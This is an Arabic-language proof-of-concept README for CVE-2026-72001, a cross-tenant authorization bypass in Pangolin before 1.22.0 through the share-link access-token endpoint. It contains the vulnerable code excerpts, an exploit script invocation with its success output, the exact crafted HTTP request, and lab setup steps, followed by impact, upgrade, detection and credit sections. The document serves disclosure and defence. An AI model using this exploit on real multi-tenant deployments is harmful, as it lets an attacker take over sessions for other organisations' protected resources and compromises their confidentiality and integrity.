
PoC لـ CVE-2026-72001 — تجاوز مصادقة الموارد عبر المؤسسات في Pangolin < 1.22.0 عبر نقطة نهاية رمز الوصول لرابط المشاركة (CWE-639، CVSS 8.1).
إثبات مفهوم لـ CVE-2026-72001، وهو خلل في تفويض مستوى الكائن المكسور في
Pangolin (< 1.22.0) يسمح لحامل رابط مشاركة مورد واحد بإنشاء جلسة مورد صالحة لأي مورد آخر على
النظام بما في ذلك الموارد المملوكة لمؤسسة مختلفة متجاوزًا كل
طريقة مصادقة مُهيأة (SSO، كلمة مرور المورد، PIN، قائمة البريد الإلكتروني المسموح بها، مصادقة الترويسة).
| CVE | CVE-2026-72001 |
| المنتج | fosrl/pangolin |
| المتأثر | < 1.22.0 |
| المُصلح | 1.22.0 |
| الفئة | تجاوز التفويض عبر مفتاح يتحكم به المستخدم (CWE-639) |
| CVSS 3.1 | 8.1 (HIGH) AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N |
| المصادقة | يحتاج المهاجم فقط إلى رمز رابط مشاركة صالح واحد لأي مورد |
| الحكم | مؤكد أنه قابل للاستغلال (من البداية إلى النهاية، إنفاذ badger valid:true) |
نقطة نهاية مصادقة رابط المشاركة POST /api/v1/auth/resource/:resourceId/access-token
(server/routers/resource/authWithAccessToken.ts) لها فرعان. عندما يحمل الطلب
accessTokenId، فإنه يتحقق من الرمز لكنه ينسى ربط هذا التحقق بالمورد في
الرابط:
// vulnerable (<= 1.21.1)
const res = await verifyResourceAccessToken({
accessTokenId,
accessToken // <-- resourceId is NOT passed
});
valid = res.valid;
tokenItem = res.tokenItem;
resource = foundResource; // <-- resource taken from the ATTACKER-CONTROLLED :resourceId
verifyResourceAccessToken يفرض ربط المورد فقط إذا استقبل resourceId:
resourceId?: number; // IF THIS IS NOT SET, THE TOKEN IS VALID FOR ALL RESOURCES
...
if (resourceId && resource.resourceId !== resourceId) {
return { valid: false, error: "Resource ID does not match" };
}
لأن المعالج لا يمرر resourceId أبدًا، يتم تخطي الحارس: يتم
التحقق من الرمز مقابل موارده الخاصة، بينما يتم إنشاء الجلسة للمورد المذكور
في الرابط. ثم يتم إنشاء جلسة (رمز طلب badger) لمورد الضحية:
await createResourceSession({
resourceId: resource.resourceId, // attacker-chosen victim resource
accessTokenId: tokenItem.accessTokenId, // token from a completely different resource
isRequestToken: true, ...
});
المسار موجود على الموجّه غير المصادق (unauthenticated.use("/auth", authRouter))
ولا يوجد به تحديد لمعدل الطلبات (على عكس مسارات مصادقة كلمة المرور/رمز PIN/القائمة البيضاء الشقيقة).
برمجية CSRF الوسيطة تتحقق فقط من ترويسة ثابتة ثابتة (X-CSRF-Token: x-csrf-protection).
الإصلاح (1.22.0): يمرر المعالج resourceId إلى verifyResourceAccessToken، لذا
يُفعَّل حارس عدم التطابق وتُرجع الطلبات عبر الموارد 401 "Resource ID does not match".
$ python3 exploit.py --url http://TARGET:3000 \
--token <accessToken> --token-id <accessTokenId> \
--target-resource <victim_resourceId> \
--prove-access <victim_fullDomain> --internal-url http://TARGET:3001
[+] CONFIRMED VULNERABLE - cross-resource session minted
target resourceId : 2
session (req-token): y5myp2nvab2hitkch4xaylrtdk7zsrny
redirectUrl : https://b1.example.com
[+] exchange-session -> valid=true; resource session cookie for b1.example.com
[+] verify-session @ b1.example.com -> valid=True (Access allowed)
[+] ACCESS GRANTED to a resource the share link never had rights to.
الطلب الوحيد القابل للاستغلال هو:
POST /api/v1/auth/resource/2/access-token HTTP/1.1
Host: target:3000
Content-Type: application/json
X-CSRF-Token: x-csrf-protection
{"accessToken":"<tokenA>","accessTokenId":"<tokenA_id>"}
--prove-access إضافةً إلى ذلك يبادل رمز الطلب المُعاد عند نقطة نهاية إنفاذ badger
(/badger/exchange-session → /badger/verify-session) — نفس المسار الذي
يستشيره Traefik — لإثبات الوصول الحقيقي، وليس مجرد سلسلة نصية مُعادة. في نشر حي،
يقدم المهاجم ببساطة رمز الطلب إلى المورد ويقوم Traefik/badger بتبادله تلقائيًا.
cd lab
./setup.sh # boots fosrl/pangolin:1.21.1 (default config, SQLite) and provisions
# two orgs / two resources, protects the victim, prints the exploit cmd
انظر lab/setup.sh، وANALYSIS.md و
evidence/ للحصول على الشرح الكامل والحدود بين النسخة القابلة للاستغلال والمُرقَّعة.
على أي نظام Pangolin متعدد المستأجرين / متعدد المؤسسات (مستضاف ذاتيًا مع عدة مؤسسات، MSP، أو نشر مستضاف)، يمكن لفاعل قادر على الحصول على رابط مشاركة واحد — أحد الروابط التي مُنحها بشكل شرعي، أو رابط تسرب، أو رابط يصدره بنفسه على أي مورد يتحكم به — أن يقرأ ويتصرف كمورد محمي لأي مستأجر آخر. سرية وسلامة كل مورد محمي على النظام معرضة للاختراق (CVSS C:H/I:H).
قم بالترقية إلى Pangolin ≥ 1.22.0. يربط الإصلاح التحقق من رمز الوصول بمعرّف مورد الرابط. لا يوجد حل تكويني يخفف بشكل كامل عن < 1.22.0؛ قيّد إصدار روابط مشاركة الموارد وقم بتدوير رموز الوصول الحالية بعد الترقية.
ابحث عن POST /api/v1/auth/resource/<id>/access-token حيث ينتمي accessTokenId
المقدم إلى مورد معرّفه ≠ <id> (استخدام رمز عبر الموارد)، وعن طلبات
مصادقة رمز الوصول الواردة بكميات كبيرة (المسار غير محدود المعدل). ستُظهر إدخالات logAccessAudit
إجراء accessToken تختلف مؤسسة رمزه عن مؤسسة المورد.
اكتُشف / حُلِّل وأُعد PoC بواسطة BiiTts (Caio Fabrício). تم الإبلاغ عن الثغرة بواسطة VulnCheck؛ الإرشاد: https://www.vulncheck.com/advisories/pangolin-authentication-bypass-via-share-link-endpoint.